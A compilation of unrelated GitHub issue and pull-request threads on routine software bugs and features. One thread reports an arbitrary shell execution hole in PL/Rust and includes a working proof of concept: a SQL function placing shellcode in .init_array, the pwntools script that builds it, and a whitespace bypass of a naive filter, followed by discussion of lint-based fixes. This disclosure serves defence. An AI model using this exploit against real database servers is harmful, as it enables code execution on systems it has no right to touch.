scrollBehaviour plugin doesn't react on route changes anymore (after upgrading to Nuxt 6.5)

Environment

Operating System: Darwin
Node Version:     v16.18.1
Nuxt Version:     3.6.5
Nitro Version:    2.5.2
Package Manager<EMAIL_ADDRESS>Builder:          vite
User Config:      app, routeRules, modules, vue, vite, nitro, css, postcss, runtimeConfig
Runtime Modules<EMAIL_ADDRESS><EMAIL_ADDRESS><EMAIL_ADDRESS><EMAIL_ADDRESS>Build Modules:    -

Reproduction
When clicking a link the router plugin should get fired (and so for a  console log output should be visible within the console) - however it will only displayed when the app initially loads a document, not when clicking a link to trigger a route change. Also any other functionality defined within the plugin will only be fired when the first document is rendered...
Describe the bug
Route plugin only gets executed when app starts, but doesn't get executed anymore when route changes. The route it self changes as is should, and the router itself seems to work as it should be...
Additional context
Within my nuxt-3 project I am using a router plugin (plugins/router.scrollBehavior.js) which worked just fine - since the last update however it doesn't seems not to work anymore on route change. I reduced all the functionality to the minimum, so i can better test it:
export default defineNuxtPlugin((nuxtApp) => {
  nuxtApp.$router.options.scrollBehavior = (to, from, savedPosition) => {
    console.log('test', to, from, savedPosition);
    return {
      x: 0,
      y: 0,
    };
  };
});

Logs
No response

We override and then restore scroll behaviour after the hydration. Instead, you should configure router scrollbehavior in here: https://nuxt.com/docs/guide/going-further/custom-routing#router-options

@danielroe thnx for your answer, but in other threats it is recommended to define scroll behavior by defining a plugin: https://github.com/nuxt/nuxt/issues/12732#issuecomment-1397227098
Also the provided docs do not mention scroll behavior at all?? :D

That was two years ago before we implemented app/router.options.

alright, I think there are many threats mentioning that way for nuxt 3 as well, like this one https://github.com/nuxt/nuxt/issues/12732 (and a few more) ... anyways, the mentioned approach is working, so thnx @danielroe . : )

If it's not mentioned in the docs, it might be nice to add it too.

If it's not mentioned in the docs, it might be nice to add it too.

I'll look if I can find some time to do it, and if so, I'll take it on... : )


support qwen2-vl

What does this PR do?
This PR support the coming qwen2-vl model for fine-tuning.
Before submitting

[x] Did you read the contributor guideline?
[ ] Did you write any new necessary tests?

This is work on the latest transformers commit.


Deprecation warnings should be silenced in testing

The test suite for ActiveRecord 5.x emits deprecation warnings. They don't break anything but they are ugly and may confuse people reading the test suite output into thinking there is something wrong. Since these warnings are expected, they should be silenced.
There are two:

SQLite 1.3 warning of incompatibility with Ruby 3.2 (which is irrelevant since Rails 5 won't run on Ruby 3.2 and Rails 6 requires SQLite 1.4).
DEPRECATION WARNING: Leaving ActiveRecord::ConnectionAdapters::SQLite3Adapter.represent_boolean_as_integer set to false is deprecated.

Technically there's a third, but it's similar to the first:
/usr/local/bundle/gems/activerecord-<IP_ADDRESS>/lib/active_record/connection_adapters/sqlite3_adapter.rb:32: warning: rb_check_safe_obj will be removed in Ruby 3.0


Add onRowContextMenu callback

Add onRowContextMenu callback to Table
Add the ability to handle the mouse context-menu event for each row.

Hi @difelice! Thanks for contributing and for taking the time to add tests too! 😄
In the past other people have asked for more row-level events and I generally push back b'c it's hard to draw the line once I start adding more of them. I think the ones that are currently available are by far the most common and additional ones- like contextmenu- should probably stay in application code to avoid adding weight to the Table component. (Otherwise, in the extreme, I'd end up adding a prop for each possible event a <div> might dispatch.)
In this case you can implement this event yourself pretty easily using the rowRenderer prop:
const { defaultTableRowRenderer, Column, Table } = ReactVirtualized;

function onRowContextMenu ({ event, index, rowData }) {
  console.log('onContextMenu()', { index, rowData })
}

function rowRenderer (props) {
  const { index, rowData } = props

  const row = defaultTableRowRenderer(props)

  return React.cloneElement(row, {
    onContextMenu: (event) => onRowContextMenu({ event, index, rowData })
  })
}

function renderTable(props) {
  return (
    <Table
      {...props}
      rowRenderer={rowRenderer}
    />
  )
);

Here's a Plnkr for you.

Makes sense. Thanks for the example!

No problem! Thanks for understanding.


extraResource option doesn't work on windows build

Hello,
i try to copy the binary outside asar, i launch this commande line :
electron-packager . --out=compiledBinary/win --platform=win32 --arch=ia32 --extraResource="aria2" --asar=true
when i go to compiledBinary/win/application/Resources i don't have the folder aria2
but i try to generate for osx it's work perfectly
could you help me ?
it's a bug ?
best regards

i look your sources code electron-packager/win32.js and i don't see the extra resource option

I temporarily added this command to solve the problem
cp -r aria2 compiledBinary/win/*/resources/

Per the documentation, it has only been implemented for the darwin/mas targets. I would happily review a pull request to add this functionality to Windows (and Linux) targets, assuming that the request also includes documentation and sufficient tests.

Also, it's quite odd that --extraResource worked.


Loading unnecessary dependencies

https://github.com/iksose/systemjs-seed
in my app/subroute I declare a moment.js dependency, and if I navigate to the home state first it only loads that slug when I request that state. However, if I load subroute first it also loads the main "slug".
Am I declaring my modules wrong?

Can you elaborate please?

I think it may be an issue with how https://github.com/lookfirst/systemjs-seed is doing it, which is what I forked so it may be more appropriate for me to open the issue there. But essentially if I go to / , it'll load the next states deps only when requested (intended behavior) but if I start my app by first going to /foo it'll bring in everything. I'm sure I'm missing something.

Watching too... this could be something I've messed up I'm sure. =) Are you running it in SITUATION=production?

Your root module (app.js) is always going to be loaded, no matter which route you land to.
It's the entry point of the app and imported by your index file:
https://github.com/iksose/systemjs-seed/blob/master/src/index.tpl.html#L46

ex: http://localhost:9000/#/subroute2

Specifically loading http://localhost:9000/app/subroute/subroute.js?bust=1429729189" and /app/subroute2/subroute.js when afaik there's no dependencies between the two?
@lookfirst Yeah I've tried both env variables.
So given three routes: home, foo, bar
Entry home => click foo, loads foo => click bar, loads bar. Perfect.
If the entry point is foo, it loads home && foo. Unintended?
And now if entry point is bar, it loads everything -- bar, foo, and home. Also Unintended?

The bundling only happens in production mode, so you absolutely need to be using that in order to file bugs here. :smile:
I'm confused though, browserSync shouldn't be enabled when you are in production mode and I'm seeing stuff in your console.log(). What's confusing is that I'm also seeing the bust= parameter too. Did you change something in the gulpfile that would break this?

The way I have things in my project, if you load foo (todo), it will load home (app).

Yeah its production mode, its almost all standard except for the things you pointed out which shouldn't cause /foo2 to load /foo
I'm just using browsersync to serve the compiled/bundled app

gulp-helpers has bs built in. I don't understand why you added a separate task for it.
What you've done is removed a bit of configuration that is crucial... you don't want BS to be doing its thing in production.

idk, but it's fixed now! ...and I have no idea what changed. Could have been my modifications to BS that you mentioned.
So yeah now I can navigate to foo and it won't load home (in addition to app.js which is obviously core)


Code style & Project config

PR Covers the following:

A .gitignore, generated by gitignore.io
Resolving some odd formatting in the README
A pyproject.toml - this could have issues, but I added it's mostly for configuring black anyway
Applying the psf/black to the main.py. It's a big diff, but it should keep future diffs smaller.
A GitHub workflow to check code style. I haven't really used workflows that much, but it's probably useful to have it around.

I can make changes as needed.

I went with black for the code style because it's opinionated, and as such should avoid most future discussions on code formatting.

Also, I set the project to use python 3.8.
3.9 isn't supported by the tensorflow version in use.
If there's a different version you'd like to see used, I could apply that.

Looks good to me, will be merging to project


[ISSUE #481] Use YAML file to store configuration

The main change:

Use eventmesh.yml to replace eventmesh.properties
Use static field to get the configuration property, the advantage of this change is that there is no need to pass the configuration objects.

Codecov Report

Merging #483 (a2d31b0) into develop (fefe391) will decrease coverage by 0.31%.
The diff coverage is 9.18%.

:exclamation: Current head a2d31b0 differs from pull request most recent head 70f4e32. Consider uploading reports for the commit 70f4e32 to get more accurate results

@@              Coverage Diff              @@
##             develop     #483      +/-   ##
=============================================
- Coverage      11.23%   10.92%   -0.32%
- Complexity       326      330       +4
=============================================
  Files            228      229       +1
  Lines          10816    10731      -85
  Branches         907      891      -16
=============================================
- Hits            1215     1172      -43
+ Misses          9504     9462      -42
  Partials          97       97

Impacted Files
Coverage Δ

...in/java/org/apache/eventmesh/common/Constants.java
0.00% <ø> (ø)

...he/eventmesh/common/EventMeshRuntimeException.java
0.00% <0.00%> (ø)

...e/eventmesh/common/config/CommonConfiguration.java
0.00% <0.00%> (-91.23%)
:arrow_down:

...ntime/admin/controller/ClientManageController.java
0.00% <0.00%> (ø)

...he/eventmesh/runtime/boot/EventMeshHTTPServer.java
0.00% <0.00%> (ø)

...apache/eventmesh/runtime/boot/EventMeshServer.java
0.00% <0.00%> (ø)

...pache/eventmesh/runtime/boot/EventMeshStartup.java
0.00% <0.00%> (ø)

...che/eventmesh/runtime/boot/EventMeshTCPServer.java
0.00% <0.00%> (ø)

...time/configuration/EventMeshHTTPConfiguration.java
0.00% <0.00%> (ø)

...ntime/configuration/EventMeshTCPConfiguration.java
0.00% <0.00%> (ø)

... and 28 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update fefe391...70f4e32. Read the comment docs.

@ruanwenjun  hello，In TCP mode, there is a problem with Connection refused. Doesn't exist in the development version.

@Jackzeng1224 Thanks a lot, I have solved, please help me test again.

@Jackzeng1224 Thanks a lot, I have solved, please help me test again.
OK.


Name: BotChat or WebChat

I'm using a simple "wc-" prefix for CSS class names to avoid collision. If we standardize on BotChat perhaps I should change to "bc-", or even something else. Also, I'm considering the SUIT naming convention, if it's not too heavyweight. The high level consideration is avoiding naming collision when this is embedded.

The reason I chose "BotChat" is that it's perfectly descriptive in the domain of web components. If you're creating a React app that consumes multiple components it would be silly to have WebChat and WebCalendarPicker and WebTable.
One could argue that it would be even more descriptive to call it MSBotChat.

MSBotChat sounds good

I'm probably okay with that. What would you like to use for the prefixes? msbc-?

According to SUIT, it would be MSBotChat

Okay by me.

At the same time, “web chat” is a common name we give to web chat interfaces (though maybe a little old-school at this point). Searching github for WebChat returns 1056 repositories. I venture that web chat could be considered a compound word, like post office, or real estate (or compound word!).
I do think the package name should have a more explicit reference to the Bot Framework, so that it is evident in search results. The emulator’s repo is called botframework-emulator. Maybe call this one botframework-webchat?
https://www.github.com/Microsoft/botframework-webchat/
From: Bill Barnes<EMAIL_ADDRESS>Sent: Wednesday, October 26, 2016 4:35 PM
To: billba/botchat<EMAIL_ADDRESS>Subject: Re: [billba/botchat] Name: BotChat or WebChat (#73)
The reason I chose "BotChat" is that it's perfectly descriptive in the domain of web components. If you're creating a React app that consumes multiple components it would be silly to have WebChat and WebCalendarPicker and WebTable.
One could argue that it would be even more descriptive to call it MSBotChat.
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHubhttps://na01.safelinks.protection.outlook.com/?url=https%3A%2F%2Fgithub.com%2Fbillba%2Fbotchat%2Fissues%2F73%23issuecomment-256507385&data=02|01|eanders%40microsoft.com|8c4524339bfa4e92861a08d3fdf8bb5b|72f988bf86f141af91ab2d7cd011db47|1|0|636131217147871047&sdata=4gIA8xFPt6lrGKI2XuGEz%2FgR3%2FKs4Y2Dc%2Bee8CMaoas%3D&reserved=0, or mute the threadhttps://na01.safelinks.protection.outlook.com/?url=https%3A%2F%2Fgithub.com%2Fnotifications%2Funsubscribe-auth%2FALnNp69td3L9RqSg8gZuSUkzVK8q6je8ks5q3-OugaJpZM4KfeDE&data=02|01|eanders%40microsoft.com|8c4524339bfa4e92861a08d3fdf8bb5b|72f988bf86f141af91ab2d7cd011db47|1|0|636131217147871047&sdata=JnemeC2gSGOPPAb2%2BiEFHjJuzjgQlLCStJJil5x31MU%3D&reserved=0.

Yes I agree that is a good, descriptive name for the repo. But in the context of npm and React I think it makes sense to have the package/component name be botchat/msbotchat. It is just a little weird but not remotely unheard of, to have the repo and package have pretty different names.

Sounds good to me.
From: Bill Barnes<EMAIL_ADDRESS>Sent: Thursday, October 27, 2016 9:56 AM
To: billba/botchat<EMAIL_ADDRESS>Cc: Eric Anderson<EMAIL_ADDRESS>Comment<EMAIL_ADDRESS>Subject: Re: [billba/botchat] Name: BotChat or WebChat (#73)
Yes I agree that is a good, descriptive name for the repo. But in the context of npm and React I think it makes sense to have the package/component name be botchat/msbotchat. It is just a little weird but not remotely unheard of, to have the repo and package have pretty different names.
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHubhttps://na01.safelinks.protection.outlook.com/?url=https%3A%2F%2Fgithub.com%2Fbillba%2Fbotchat%2Fissues%2F73%23issuecomment-256704963&data=02|01|eanders%40microsoft.com|1550f1723772403503c108d3fe8a243f|72f988bf86f141af91ab2d7cd011db47|1|0|636131841668462665&sdata=iN88T8P1nuv3D0eyGRFFsWWeiS93C7XNhP44P5Fx6B4%3D&reserved=0, or mute the threadhttps://na01.safelinks.protection.outlook.com/?url=https%3A%2F%2Fgithub.com%2Fnotifications%2Funsubscribe-auth%2FALnNpxJ7ZaiJmS0RcuF5F_t77PjdpjHsks5q4NejgaJpZM4KfeDE&data=02|01|eanders%40microsoft.com|1550f1723772403503c108d3fe8a243f|72f988bf86f141af91ab2d7cd011db47|1|0|636131841668462665&sdata=1TUfsXg95zEzzf3HtNuiZ11tC9xeE9Fu4jQxteYuWN0%3D&reserved=0.


Arbitrary Shell Execution through #[link_section]

The shell code in init_array is always executed first leading to arbitrary shell execution potentially.
Reproduction:
CREATE OR REPLACE FUNCTION vapt() RETURNS BIGINT
IMMUTABLE STRICT
LANGUAGE PLRUST AS
$$
[code]

#[no_mangle]
#[link_section = ".init_array"]
pub static INITIALIZE: &[u8; 136] = &gogo;

#[no_mangle]
#[link_section=".text"]
pub static gogo: [u8; 136] = [72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 99, 104, 111, 46, 114, 105, 1, 72, 49, 4, 36, 72, 137, 231, 106, 1, 254, 12, 36, 72, 184, 99, 102, 105, 108, 101, 49, 50, 51, 80, 72, 184, 114, 47, 116, 109, 112, 47, 112, 111, 80, 72, 184, 111, 117, 99, 104, 32, 47, 118, 97, 80, 72, 184, 115, 114, 47, 98, 105, 110, 47, 116, 80, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 114, 105, 1, 44, 98, 1, 46, 116, 72, 49, 4, 36, 49, 246, 86, 106, 14, 94, 72, 1, 230, 86, 106, 19, 94, 72, 1, 230, 86, 106, 24, 94, 72, 1, 230, 86, 72, 137, 230, 49, 210, 106, 59, 88, 15, 5];

Some(1)
$$;

postgres=> select vapt();
server closed the connection unexpectedly
	This probably means the server terminated abnormally

This will touch a file in /var/tmp/pocfile123
Above shell code was created with this script:
#!/usr/bin/env
import sys

from pwnlib.shellcraft.amd64.linux import connect, readfile, exit, cat, execve
from pwnlib.asm import asm

code = execve(path="/bin/sh", argv=["sh", "-c", "/usr/bin/touch /var/tmp/pocfile123"])
a = asm(code, arch='amd64')
sys.stdout.write(str(len(list(a))))
print()
sys.stdout.write(str(list(a)))

The naive solution might be to just scan for #[ and error during parsing the code, but I'm not familiar with how Rust interprets Attributes, it seems something like works as well.
CREATE OR REPLACE FUNCTION vapt_2() RETURNS BIGINT
...

#[no_mangle]
#[link_section = ".init_array"]
pub static INITIALIZE: &[u8; 136] = &gogo;

#[no_mangle]
#
[link_section=".text"]
pub static gogo: [u8; 136] =
...
$$;

Is there something in Cargo/rustc or a more "Rust" way to detect and prevent these things?

These kinds of things can be filtered via this flotilla of lints: https://github.com/rust-lang/rust/issues/82499

The naive solution might be to just scan for #[ and error during parsing the code, but I'm not familiar with how Rust interprets Attributes, it seems something like works as well.

To address this part of your question more directly: Rust is very, very lax about whitespace in most cases where a logical segment in the parse could be interpreted as existing.

What lints can we add to Cargo.toml to validate that they will actually catch this behavior?

It involves restructuring the build a bit to let us do a "dry run" pre-build and then do it "for real", as mentioned. I am working on that PR.

I have a draft branch for this that successfully catches this specific example, but it is still technically possible to get #[link_section] without #[no_mangle] by, unless using a higher rustc version than 1.61.0, so I will polish it up and submit it next week but it will contain an ignored test unless we also have consensus on raising MSRV.

TODO:

[x] Test for #[no_mangle]

[x] ...passes
[ ] ...on main

[x] Test for #[link_section]

[x] ...passes
[ ] ...on main

[ ] Create tests for other "unsafe attributes"
[ ] Make other unsafe attribute tests pass
[ ] Make other unsafe attribute tests pass on main


Decrease the version size according to https://developercommunity.vis…

…ualstudio.com/content/problem/406288/http400-bad-request-the-package-version-is-too-lon.html

Codecov Report

Merging #644 into master will increase coverage by 0.02%.
The diff coverage is n/a.

@@            Coverage Diff             @@
##           master     #644      +/-   ##
==========================================
+ Coverage   81.38%   81.40%   +0.02%
==========================================
  Files         114      114
  Lines        3873     3873
  Branches       90       90
==========================================
+ Hits         3152     3153       +1
+ Misses        721      720       -1

Impacted Files
Coverage Δ

.../akka/actor/process_instance/ProcessInstance.scala
86.48% <0.00%> (+0.67%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update d31683d...c4b649d. Read the comment docs.


Does not work with repositories in Gitlab subgroups

I tried to run the check for the following repo: https://gitlab.com/hifis/hifis-workshops/make-your-code-ready-for-publication/astronaut-analysis
I get the error it cannot find the README.

howfairis.exe https://gitlab.com/hifis/hifis-workshops/make-your-code-ready-for-publication/astronaut-analysis.git -b check-final-results
Checking compliance with fair-software.eu...
url: https://gitlab.com/hifis/hifis-workshops/make-your-code-ready-for-publication/astronaut-analysis.git
branch: check-final-results
Did not find a README[.md|.rst] file at https://gitlab.com/hifis/hifis-workshops/-/raw/check-final-results/
Proceeding without it -- expect the compliance to suffer.

Using the path command also did not help, since the wrong url is created in combination with the -b command.

howfairis.exe https://gitlab.com/hifis/hifis-workshops/make-your-code-ready-for-publication/ -b check-final-results -p make-your-code-ready-for-publication/astronaut-analysis
Checking compliance with fair-software.eu...
url: https://gitlab.com/hifis/hifis-workshops/make-your-code-ready-for-publication/
branch: check-final-results
path: make-your-code-ready-for-publication/astronaut-analysis
Did not find a README[.md|.rst] file at https://gitlab.com/hifis/hifis-workshops/-/raw/check-final-results/make-your-code-ready-for-publication/astronaut-analysis/
Proceeding without it -- expect the compliance to suffer.

The issue seems to be that the project is located in several subgroups. This is non-existant in Github, but quite common in Gitlab. It would be great if you can add support for this.

Hi Carina, thanks for reporting this. Indeed subgroups are not supported at the moment. We'll look into how to improve this in the future.


Unattached IP Addresses

Description
New policy for unattached Ip Addresses
Issues Resolved
#146
Contribution Check List

[x ] All tests pass.
[ x] New functionality includes testing.
[x ] New functionality has been documented in the README if applicable
[ x] New functionality has been documented in CHANGELOG.MD

          1 Error

:no_entry_sign:
Please add labels to this Pull Request

  Generated by :no_entry_sign: Danger


Using private IP for SSH

This adds the option to use the private IP for GCE Vagrant machines instead of the public one.
This is useful if you already have a VPN setup to your Vagrant GCE project and don't want to open your vagrant machines to the world.

Never mind I thought I tested it, vagrant instead run with your 0.2.3 version.


Add notes section to bookmark

Completed now in: https://github.com/MountainDrew/github-bookmark-extension/commit/b5040b9704981ac44aa8078ba3001f434d06f95e


[dart:io] HTTP Request within idleTimeout & persistentConnection = true hangs when IP changed on macOS/iOS

In my flutter application, I was debugging an issue with stuck/hung http requests. When the user changed between WiFi and Cellular on iOS, the next HTTP Request the user did would hang/is stuck until it timed out.
Analyzing the issue further, the problem occurs only when:

The request is not the first HTTP Request made with the HttpClient
The request has persistentConnection = true (default)
The request is performed during the specified idleTimeout
The IP Address of the user changed

After further research: The TCP connection to the server is being reused until the idleTimeout is reached. When a request is made within that idleTimeout, it will go through the existing TCP connection.
Appearantly, this TCP connection is kept within the HttpClient, even when the user changed IP addresses and the connection should be dead.
I would expect the next request after a connection change to respond normally.

Minimum reproduction
To reproduce, run this script (http dependency is required).
After 5 seconds, change the network so the IP address changes - For example: I used my phones cellular hotspot and my home internet to change IP addresses.
import 'dart:async';
import 'dart:io';

import 'package:http/io_client.dart';

void main(List<String> arguments) async {
  final http = IOClient(HttpClient()..idleTimeout = Duration(seconds: 200));
  print("STARTED");

  final response1 = await http.get(Uri.parse('https://example.org'));
  print("Response 1: ${response1.statusCode}");

  final myIp = await getCurrentIp();

  while (true) {
    if (myIp == await getCurrentIp()) {
      print("IP DID NOT CHANGE, WAITING");
      await Future.delayed(Duration(seconds: 5));
      continue;
    } else {
      break;
    }
  }

  print("IP CHANGED - NOW LETS TRY REQUEST AGAIN");
  final response2 = await http.get(Uri.parse('https://example.org'));

  // THIS IS NEVER REACHED - IT SHOULD PRINT THE STATUS CODE
  print("Response 2: ${response2.statusCode}");
}

Future<String> getCurrentIp() async {
  final http = IOClient(HttpClient());
  try {
    final response = await http.get(Uri.parse('https://ipinfo.io/ip'));
    return response.body;
  } finally {
    http.close();
  }
}

dart info
#### General info
- Dart 3.2.3 (stable) (Tue Dec 5 17:58:33 2023 +0000) on "macos_arm64"
- on macos / Version 14.0 (Build 23A344)
- locale is de-DE

Issues that might be related:
https://github.com/dart-lang/sdk/issues/47807
https://github.com/dart-lang/sdk/issues/53040

If you are using Flutter, I'd suggest using package:cupertino_http. I think that it will correctly discard the connection pool on IP changes.

@brianquinlan We tried package:cupertino_http out and it performs very well. We are not seeing the issue anymore. The only downside now is that we are not seeing the HTTP traffic in the Flutter DevTools, making it harder for us to debug HTTP requests on iOS.

@jankuss The DevTools integration is in place now. It would be great if you could try it out!


force_create and repository templates

Hi - can you go into a little more detail about how force_create, template and repository templates are meant to work?

@kleeadrian 👆

Safe-settings normally will not create a repo if there is a repo settings file but no corresponding repo. That behavior could be modified by having a setting called
force_create:  true in the repo-level settings file, and that would create the repo first and then apply the settings. This could be useful if the repo creation by members is not allowed and you want safe-settings to handle the repo creation.
When safe-settings creates a repo,  you can optionally specify that the repo be created from a template repo by passing a template repo name in
template: config.

Makes sense now - thank you!!

Closing this issue based on feedback


modal issue on small device

Hello guys,
Thank you for using our products, I will ask you to move outside the main-panel div the content for the modal:

Hope this information helps you to solve your problem. Please let us know if we can help you with anything else.
Best,
Stefan

@groovemen This fixed it for me, thanks!


RE: screen gap after closing keyboard #1043

https://github.com/wycats/handlebars.js/issues/1043
kpdecker said:
"Not sure how this is related to handlebars. Perhaps something you can ask on stack overflow?"
And then closed the ticket.
This is related to handlebars - afaik - because it ONLY happens when I use handlebars.
Similar issues have been reported on stack, without resolution - they moved to a different template lang.

Please follow the contribution guidelines. You are providing nothing for me to work with to try to help you and without a repo case as discussed in the contribution guidelines, we can not help you.


github_repository variable in example code is never defined in the example code.

File: docs/reference/pkg/aws/codepipeline/webhook.md

Sorry for the trouble. Not all of our examples in the docs are self contained and may have some variables that you'll need to fill in to work for real.


Cannot find Global Objects like Array, Object in TypeScript File

code-server version: 1.939-vsc1.33.1
OS Version: Ubuntu 18.04 lts

Description

Steps to Reproduce

In a typescript file ide showing it cannot find Array, Object etc global objects

Confirm I have the same issue

Can confirm the issue, as it affects me as well. Windows 10 WSL (sshcode) -> Ubuntu back end on an Angular/typescript project

Bumping down the typescript version to 3.3.3333  work around the issue for me.    However there still may be an issue with the code-server language files as I have 3.4.3 and 3.3.3333  installed by VSCode.
for reference how to workaround this see
https://stackoverflow.com/questions/53275853/visual-studio-code-showing-error-cant-find-name-date

I found that I needed to set my typescript version to the workspace version, then it started working properly.


FO: Add frontoffice subscription controller

Needed subscriptions form in diffrent place than module itself. Example: I would like to use popup module with newsletter subscription form, and it is not possible when newsletter module is unhooked becouse subscription was handled inside newsletter module rendner widget function. Forge ticket: http://forge.prestashop.com/browse/BOOM-2499

Hi guys ! @maximebiloe and @aleeks
Can we merge this PR ?
Thanks !

I'm not sure about the dates (2015) and version (1.5.0) displayed in phpDoc though

Reviewed 3 of 3 files at r1.
Review status: all files reviewed at latest revision, all discussions resolved.

Comments from Reviewable

Tested and ok :)


Blog - Relative links in blog truncated content (list view) are breaking

Have you read the Contributing Guidelines on issues?

[X] I have read the Contributing Guidelines on issues.

Prerequisites

[X] I'm using the latest version of Docusaurus.
[X] I have tried the npm run clear or yarn clear command.
[X] I have tried rm -rf node_modules yarn.lock package-lock.json and re-installing packages.
[X] I have tried creating a repro with https://new.docusaurus.io.
[X] I have read the console error message carefully (if applicable).

Description
Links such as [heading](#headingId) will work on the actual blog post page
But those links won't work on the list views where the blog is truncated with the {/* truncate */} marker.
This is because those relative links are resolved against the current page, and not the blog post permalink.
We should write a Remark plugin that will resolve the blog post links so that we have absolute links in list views, ensuring the links work in both list and detail views.

Example in production: https://docusaurus.io/blog/tags/search

This link doesn't work because the heading is not available on this page.
(I'm going to remove this example so it will not be browsable soon)

@slorber  Sir Can you please describe the bug in detail?


Better error stack for response errror

It's hard to trace which request causes the response error when the error is not handled.

@chemzqm to my understanding Error.captureStackTrace is not general available in JS runtimes. The code that is in common should only make use of the standard ES features. Normally you should have gotten a compile error when using it, but there was an oversight in the tsconfig files that I now fixed.
To move forward we can do the following:

create our own definition of Error.captureStackTrace which makes the function optional
check if the function exist before calling it


net/haproxy: add "default certificate" parameter, fixes #51

This introduces a new frontend parameter: "Default certificate". The only purpose is to enforce a certain sort order for certificates. This makes it possible to choose the "default" certificate which will be used by HAProxy if no SNI is provided by the client or if the client provides an SNI hostname which does not match any certificate.
Previously this was possibly too by adding the certificates to the "Certificates" parameter in the required order, but this turned out to be a hassle and not user-friendly. The new parameter is an advanced parameter and thus hidden to most users as only a few will ever make use of it.
Side note: While it would be possible to just add the "default certificate" as the first certificate to the "bind" option (which is OK for HAProxy, it can handle multiple occurence of the same cert), I chose to add some extra lines to the template code to avoid duplicate certs.
This fixes #51.

Merged, thanks!


HATT: AnyTimeLearningNodeNBAdaptive' object has no attribute 'get_attribute_observers'

Describe the bug
AnyTimeLearningNodeNBAdaptive' object has no attribute 'get_attribute_observers' , when put conditions for HATT().
To Reproduce
ExTree= HATT(grace_period= 50,split_confidence=0.0005, tie_threshold = 0.0001)
evaluator = EvaluatePrequential(pretrain_size = 100,n_wait=2, max_samples = 1000, metrics=['accuracy'], output_file=None)
evaluator.evaluate(stream=data, model=ExTree, model_names=['ExTree'])
If use ExTree= HATT() , only 200 samples are processed.

Hello @yzhang0376, what kind of data (stream) are you using?

I loaded a .CSV file and transferred it to a streaming data by using prepare_for_use(). This data has total of 7500 observations and each of them with 150 features in training. All of the features are numerical. And this data works with HoeffidingTree algorithm with these settings.   Hope this answers your question.

Hello @yzhang0376
I have tested the above configuration on a stream from the SEAGenerator and could not replicate the error.
Prequential Evaluation
Evaluating 1 target(s).
Pre-training on 100 sample(s).
Evaluating...
 #################### [100%] [25.34s]
Processed samples: 1000
Mean performance:
ExTree - Accuracy     : 0.7211

Process finished with exit code 0

What do you mean by:

I loaded a .CSV file and transferred it to a streaming data by using prepare_for_use()

You can either load data from a file with FileStream or convert a data object with DataStream

Yes, I loaded data with FileStream().  Sorry I could not provide the screen shot now since there are some import problems after I updated to the 0.3.0 version, which I posted under User Group. Sorry for the troubles.

I found the problem. I still used the old version to import FileStream() after I updated to 0.3.0. Now fixed. Sorry about the misleading.

No problem. Glad to report that this is not a bug. I am closing this issue.


New Crowdin updates

@all-contributors add @Herakies for translation

I feel like this is a good reason to merge the PR


added gradient-enhanced neural nets (genn)

This pull request includes new files that implement gradient-enhanced neural nets using numpy.  The original code was not modified, except for "test_surrogate_model_examples.py" where I added a test for GENN. The newly added files are as follows:
new file:   doc/_src_docs/surrogate_models/genn.rst -----> documentation
new file:   doc/_src_docs/surrogate_models/genn.rstx -----> documentation
new file:   smt/surrogate_models/genn.py -----> API interface
new file:   smt/surrogate_models/neural_net/* -----> neural net logic
modified:   smt/surrogate_models/tests/test_surrogate_model_examples.py -----> test

:x: Build SMT 0.2.487 failed (commit https://github.com/SMTorg/SMT/commit/e1c3413bef by @)

Sorry for the late reply. This is the first time in 6 weeks that I've had a chance to work on the code. I sincerely appreciate the feedback. Thank you.

:x: Build SMT 0.2.488 failed (commit https://github.com/SMTorg/SMT/commit/10d7a337ec by @shb84)

:white_check_mark: Build SMT 0.2.493 completed (commit https://github.com/SMTorg/SMT/commit/41d8012dda by @bouhlelma)


rename top-level 'services' into 'service' (consistency on singular form)

The top-level prefix SERVICES_API_DIRECTORY_NAME added in #2 is currently in plural form.
As we add other sublevels into #3 and #8 we normalized in singular form "plan", "site".
While breaking backward compatibility, this change would provide naming consistency across levels.
This would need to be reflected in readme, default manifest.yml example and tests.
Thoughts ?

All multivalued properties (services, plans, credentials) names are nomalized in plural form


[Feature Request]In "Deploy using CDK", emphasize that stack "FrontendWafStack" is always in us-east-1

Describe the solution you'd like
It took me a while to find out why I constantly got CDK error messages for "FrontendWafStack", and this is the reason:

I ran "cdk bootstrap" in my target region (eu-central-1)
I adjusted cdk.json accordingly, as mentioned in the documentation
But what I did not do is, to also run "cdk bootstrap" in us-east-1, because in this case, this is a multi-region deployment.
The resulting error messages for me were misleading, because CDK complains "Deployment failed: Error: FrontendWafStack: SSM parameter /cdk-bootstrap/hnb659fds/version not found. Has the environment been bootstrapped? "

Maybe for other folks this is obvious, but just wanted to let you know for me it was not.

As you mentioned, this sample requires us-east-1 bootstrapped, not only the target region. We'd be appreciated if you could modify the document and create PR. thank you.

I am happy to do that. Could you explain why the WAF stack needs to be in us-east-1 at all?

Could you explain why the WAF stack needs to be in us-east-1 at all?
Please refer: https://github.com/aws-samples/bedrock-claude-chat/blob/v1/cdk/bin/bedrock-chat.ts#L56-L58


Negative filtering in the CLI

What is your Test Scenario?
We have multiple builds in Team City for different platforms. For some of them we would like to disable certain tests. Since we cannot yet conditionally skip tests We are disabling them on file basis. But it looks terrible. We have to basically enumerate all the test files in the CLI except ones we want to exclude. It is very inconvenient to write and hard to read afterwards.
What are you suggesting?
Either negative filtering by meta or negative filtering by globs.
I would imagine filtering by meta as --fixture-meta key\!=value
Negative globs would be something like testcafe chrome "tests/all/**/* \!tests/all/except-one.js"
\! - is escaped because bash has a special meaning for !
I believe negative globs should work already because it is supported by node-glob but they doesn't for whatever reason.

Hello @mixtur,
Thank you for your report. You can filter out tests using negative globs: testcafe chrome "tests/all/**/*" \!"tests/all/except-one.js". Please make sure that you pass each pattern as a separate argument.

Thank you, that helps a lot.
But I think this should be explicitly documented as it is not too obvious.


IGAPP-993: Add multilingual screenshots

This pull request belongs to an issue on our bugtracker.
You can find it there by looking for an issue with the key which is mentioned in the title of this pull request.
It starts with the keyword IGAPP.

